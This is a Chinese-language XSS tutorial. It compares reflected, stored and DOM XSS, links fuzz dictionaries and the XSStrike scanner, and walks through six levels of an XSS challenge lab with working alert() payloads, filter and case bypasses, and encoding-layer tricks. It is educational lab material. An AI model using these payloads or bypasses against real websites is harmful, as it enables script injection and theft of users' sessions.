目录
反射型、存储型、DOM型XSS特点和区别
1. 反射型 XSS(Reflected XSS)
- 特点:
- 攻击者构造恶意链接,用户点击后通过 URL 传递恶意脚本。
- 脚本被即时反射回用户的浏览器并执行。
- 通常依赖于社交工程手段来诱骗用户点击链接。
- 场景:例如,攻击者发送一封电子邮件,含有指向受害网站的链接,链接中包含恶意脚本。
2. 存储型 XSS(Stored XSS)
- 特点:
- 恶意脚本被永久存储在服务器上,例如在数据库、消息板、评论区等。
- 当用户访问特定页面时,存储的脚本会被加载并执行。
- 更具危害性,因为一旦脚本被存储,任何访问该页面的用户均会受到影响。
- 场景:例如,用户在评论区发布一条包含恶意脚本的评论,其他用户查看该评论时,脚本会被执行。
3. DOM 型 XSS(DOM-based XSS)
- 特点:
- 利用客户端的 JavaScript 操作 DOM 完成攻击,无需依赖于服务器的响应。
- 主要通过修改页面的 DOM 结构来植入恶意代码。
- 更隐蔽,通常通过对 URL 或客户端存储(如 localStorage、sessionStorage)中数据的操控实现。
- 场景:例如,通过在 URL 中添加恶意参数,JavaScript 脚本在处理这些参数时不加以验证,直接在页面中插入恶意代码。
区别总结
- 触发方式:
- 反射型 XSS:通过 URL 直接触发。
- 存储型 XSS:已存储在服务器中,一经发布即可多次触发。
- DOM 型 XSS:通过修改客户端脚本执行DOM操作触发。
- 影响范围:
- 反射型 XSS:影响特定受害用户。
- 存储型 XSS:影响所有访问受影响页面的用户。
- DOM 型 XSS:主要影响执行恶意脚本的客户端。
- 修复难度:
- 反射型 XSS:通常通过输入验证和输出编码防护。
- 存储型 XSS:需要在数据存储和展示时采取严格的验证和过滤措施。
- DOM 型 XSS:需审查和修复前端代码,以确保不执行不受信任的数据。
XSS 的fuzz字典或字典生成工具
fuzz字典下载地址
GitHub - TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。
GitHub - TuuuNya/fuzz_dict: 常用的一些fuzz及爆破字典,欢迎大神继续提供新的字典及分类。
GitHub - jas502n/fuzz-wooyun-org: WooYun Fuzz 库
XSStrike
介绍:
XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
作用:
找到新的XSS向量,适用于任何浏览器GET和POST参数上测试XSS有效载荷在浏览器中绕过XSS审核员绕过Web应用程序防火墙利用HTML白名单特征
特点:
反射和DOM XSS扫描 多线程爬行 上下文分析 可配置的核心 WAF检测与逃避 过时的JS Lib扫描 智能有效载荷发生器 手工制作HTML和JavaScript解析器 强大的模糊发动机 盲目XSS支持 高度研究的工作流程 完整的HTTP支持 从文件中有效载荷 由Photon,Zetanize和Arjun提供动力 有效载荷编码
下载地址:
s0md3v/XSStrike: Most advanced XSS scanner. (github.com)
XSS挑战靶场打靶
第一关
这关没有什么难度,直接输入<script>alert('1')</script>
在顶部的网址处:
https://xss.tesla-space.com/level1.php?name=%3Cscript%3Ealert(%271%27)%3C/script%3E
第二关
直接输入<script>alert('1')</script>后,没有什么大反应
点击F12查看框内情况,发现我们的指令没闭合,简单的修改一下,在我们的代码前加入“>
输入:
“><script>alert('1')</script>
第三关
输入:<script>alert('1')</script>,查看一下情况,发现单引号没转义
使用'οnfοcus='alert(1)
第四关
先用第三关的'οnfοcus='alert(1)试试
可以直接通过
试一下大小写绕过,发现不行,改用a
输入: ' "><a href="javascript:alert()">aa</a>
第五关
用<script>alert('1')</script>试一下
试一下大小写绕过,发现不行,改用a
输入: ' "><a href="javascript:alert()">aa</a>
第六关
把level5的答案输入,发现herf也被禁用了
可以大小写绕过
输入: ' "><sCripT>alert(1);</sCripT>
解释《漏洞利用之XSS注入》
案列1:<a href="javascript%3aalert(3)"></a>
理由:因为要先HTML解码,但%3a不被识别,解码失败,不会被执⾏。
案列2:<button οnclick="confirm('8\u0027);">Button</button>
理由:unicode不可以对特殊符号进行编码,例如:' " \n
案列3:<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
理由:\u0061\u006c\u0065\u0072\u0074(10);会被unicode解码为alert(10);
函数名 alert 属于标识符,直接被JS执⾏
案列4:
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
理由:\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029会被解码为alert(11),
函数名 alert 属于标识符,直接被JS执⾏。
案列5:
<a href="javascript:
%5c%75%30%30&#x
25;36%31%5c%75%
30%30%36%63%&#x
35;c%75%30%30%3
6%35%5c%75%3&#x
30;%30%37%32%5c
%75%30%30%37&#x
25;34(15)"></a>
理由:
先HTML解码,得到
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%
5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
在href中由URL模块处理,解码得到
javascript:\u0061\u006c\u0065\u0072\u0074(15)
识别JS协议,然后由JS模块处理,解码得到
javascript:alert(15)
最后执行